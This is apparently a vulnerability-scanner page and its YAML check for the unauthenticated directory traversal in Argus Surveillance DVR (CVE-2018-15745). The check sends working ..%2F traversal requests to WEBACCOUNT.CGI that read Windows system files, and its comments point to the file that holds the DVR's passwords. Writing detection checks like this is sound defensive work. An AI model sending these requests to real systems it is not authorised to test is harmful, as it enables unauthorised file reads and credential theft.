Argus Surveillance DVR — 1 vulnerability check
noctis ships 1 vulnerability check for Argus Surveillance DVR, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Argus Surveillance DVR Directory Traversal
| CVE | CVE-2018-15745 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/argus-surveillance-dvr/CVE-2018-15745.yaml |
Tests Argus Surveillance DVR for the unauthenticated directory traversal in WEBACCOUNT.CGI's RESULTPAGE parameter. A crafted ..%2F-sequence request reads a stock Windows system file (win.ini / system.ini / boot.ini); HTTP 200 with the leaked file content shows the read. The same request is then sent for an absent file in a random missing directory, and the vulnerability is reported only when that control gets an HTTP reply without the file content, so a server that answers every request with the same file is not reported. The file content is not copied into the finding.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F… - Checks
winini_resp.bannerfor(?si)^HTTP/1\.[01] 200.*; for 16-bit app support - Raw TCP (TLS on HTTPS), sent verbatim:
GET /WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F… - Checks
systemini_resp.bannerfor(?si)^HTTP/1\.[01] 200.*; for 16-bit app support.*\[drivers\] - Raw TCP (TLS on HTTPS), sent verbatim:
GET /WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F… - Checks
bootini_resp.bannerfor(?si)^HTTP/1\.[01] 200.*\[boot loader\] - Raw TCP (TLS on HTTPS), sent verbatim:
GET /WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F… - Checks
winntini_resp.bannerfor(?si)^HTTP/1\.[01] 200.*; for 16-bit app support - Raw TCP (TLS on HTTPS), sent verbatim:
GET /WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F… - Parses / computes the next value with a Rhai script
- Checks
win_filefor^(windows/win\.ini|Windows/system\.ini|boot\.ini|winnt/win\.ini)$→ finding QoD 75: Argus Surveillance DVR Directory Traversal (CVE-2018-15745)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-15745
- https://www.exploit-db.com/exploits/45296
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-15745.yaml
Feed source — tests/vulnerabilities/argus-surveillance-dvr/CVE-2018-15745.yaml
# Argus Surveillance DVR 'WEBACCOUNT.CGI' Directory Traversal — CVE-2018-15745
#
# Argus Surveillance DVR 4.0.0.0 and earlier serves WEBACCOUNT.CGI, whose
# RESULTPAGE parameter names the page returned after the (unauthenticated)
# account form. The value is not sanitised, so URL-encoded `../` sequences
# walk out of the web root and the server returns any file on the Windows
# host, as SYSTEM. (The advisory's second issue, local SYSTEM privilege
# escalation, is not remotely testable and is not claimed.)
#
# Detection mirrors the source NASL: request
# /WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=<..%2F x 16><windows file>
# &USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD=
# and require HTTP 200 (check_header: TRUE) plus the leaked file's content
# (traversal_files("windows"): win.ini / boot.ini → "; for 16-bit app support",
# "[boot loader]"). Reading a stock Windows system file is the benign,
# read-only proof that the primitive works (QoD 75); nothing sensitive
# (e.g. DVRParams.ini, which holds the account passwords) is ever requested.
#
# Improvements over the NASL:
# - No dependency on a prior product detection (the NASL exits unless the
# separate Argus detection NVT registered the app); the product-specific
# endpoint plus the leaked file content are proof enough, so a DVR whose
# front page was not fingerprinted is no longer missed.
# - Adds the Nuclei variant (Windows/system.ini, "; for 16-bit app support"
# AND "[drivers]") so a host where win.ini is absent or unreadable is
# still caught.
#
# - Absent-file control: once a file is read, the same RESULTPAGE traversal
# is sent for an absent file (random missing directory, same file name at
# the end) and the finding is raised only when that control gets an HTTP
# reply without the file's content — a server answering every request with
# win.ini / boot.ini content is not reported. The leaked file is not
# copied into the finding.
#
# The payload carries %2F encoding, so the request is sent verbatim over
# HTTP/1.0 via tcp_connect (reqwest would normalise it) and matched on
# resp.banner.
#
# Ported from OpenVAS/Greenbone NVT
# 2018/argus_surveillance/gb_argus_surveillance_dvr_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.141409, GPL-2.0-only).
uid: 3264aa98-b0f5-4585-8896-44a40471ef37
name: "Argus Surveillance DVR Directory Traversal (CVE-2018-15745)"
description: |
Tests Argus Surveillance DVR for the unauthenticated directory traversal in
WEBACCOUNT.CGI's RESULTPAGE parameter. A crafted ..%2F-sequence request reads
a stock Windows system file (win.ini / system.ini / boot.ini); HTTP 200 with
the leaked file content shows the read. The same request is then sent for an
absent file in a random missing directory, and the vulnerability is reported
only when that control gets an HTTP reply without the file content, so a
server that answers every request with the same file is not reported. The
file content is not copied into the finding.
cves: [CVE-2018-15745]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [argus, argus-surveillance-dvr, dvr, cctv, path-traversal, lfi, web-abuse, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-15745"
- "https://www.exploit-db.com/exploits/45296"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-15745.yaml"
# OpenVAS/Greenbone NASL 2018/argus_surveillance/gb_argus_surveillance_dvr_mult_vuln.nasl (GPL-2.0-only)
steps:
# Pre-initialised: an undefined var in a condition throws and the step is
# silently skipped; a failed connect must leave an empty banner.
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-ctrl-resp
action: set_var
var_name: ctrl_resp
var_value: {connected: false, banner: ""}
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
- id: init-winini-resp
action: set_var
var_name: winini_resp
var_value: {connected: false, banner: ""}
- id: init-systemini-resp
action: set_var
var_name: systemini_resp
var_value: {connected: false, banner: ""}
- id: init-bootini-resp
action: set_var
var_name: bootini_resp
var_value: {connected: false, banner: ""}
- id: init-winntini-resp
action: set_var
var_name: winntini_resp
var_value: {connected: false, banner: ""}
# ── Traversal 1: windows/win.ini ──
- id: traversal-winini
action: tcp_connect
port: "{{port}}"
send: "GET /WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows/win.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD= HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: winini_resp
# No finding here: the raw reply must not become evidence.
- id: traversal-winini-match
action: match
source: winini_resp.banner
pattern: "(?si)^HTTP/1\\.[01] 200.*; for 16-bit app support"
on_match:
set_vars:
win_file: "windows/win.ini"
# ── Traversal 2: Windows/system.ini ──
- id: traversal-systemini
action: tcp_connect
port: "{{port}}"
send: "GET /WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows/system.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD= HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: systemini_resp
condition: 'win_file == ""'
# No finding here: the raw reply must not become evidence.
- id: traversal-systemini-match
action: match
source: systemini_resp.banner
pattern: "(?si)^HTTP/1\\.[01] 200.*; for 16-bit app support.*\\[drivers\\]"
condition: 'win_file == ""'
on_match:
set_vars:
win_file: "Windows/system.ini"
# ── Traversal 3: boot.ini ──
- id: traversal-bootini
action: tcp_connect
port: "{{port}}"
send: "GET /WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD= HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: bootini_resp
condition: 'win_file == ""'
# No finding here: the raw reply must not become evidence.
- id: traversal-bootini-match
action: match
source: bootini_resp.banner
pattern: "(?si)^HTTP/1\\.[01] 200.*\\[boot loader\\]"
condition: 'win_file == ""'
on_match:
set_vars:
win_file: "boot.ini"
# ── Traversal 4: winnt/win.ini ──
- id: traversal-winntini
action: tcp_connect
port: "{{port}}"
send: "GET /WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwinnt/win.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD= HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: winntini_resp
condition: 'win_file == ""'
# No finding here: the raw reply must not become evidence.
- id: traversal-winntini-match
action: match
source: winntini_resp.banner
pattern: "(?si)^HTTP/1\\.[01] 200.*; for 16-bit app support"
condition: 'win_file == ""'
on_match:
set_vars:
win_file: "winnt/win.ini"
# ── Control: same traversal, absent file ──
# A random missing directory, still ending in the file that was read, so a
# honeypot keyed on that file name answers it too. The DVR answers 404.
- id: traversal-control
action: tcp_connect
port: "{{port}}"
send: "GET /WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fnoctis-absent-{{oob_token}}/{{win_file}}&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD= HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: 'win_file != ""'
store_as: ctrl_resp
# Fail closed: the control must have answered over HTTP, without any of the
# Windows file signatures.
- id: traversal-control-verdict
action: script
condition: 'win_file != ""'
code: |
let b = ctrl_resp.banner;
type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("; for 16-bit app support|\\[boot loader\\]|\\[drivers\\]", b, true)
store_as: ctrl_clean
- id: traversal-report
action: match
source: win_file
pattern: "^(windows/win\\.ini|Windows/system\\.ini|boot\\.ini|winnt/win\\.ini)$"
condition: "ctrl_clean == true"
on_match:
finding:
title: "Argus Surveillance DVR Directory Traversal (CVE-2018-15745)"
description: "A crafted WEBACCOUNT.CGI request with ..%2F sequences in RESULTPAGE returned HTTP 200 and the content of the Windows file {{win_file}}, while the same request for an absent file did not, confirming the unauthenticated directory traversal in Argus Surveillance DVR."
remediation: "Argus Surveillance DVR is no longer maintained and no fixed release exists. Remove it, or restrict its web interface to trusted networks."
confidence_delta: 0.55
qod: 75
evidence: "GET /WEBACCOUNT.CGI?...RESULTPAGE=(..%2F x16){{win_file}} returned HTTP 200 with the file's content; the same request for an absent file did not"
stop: true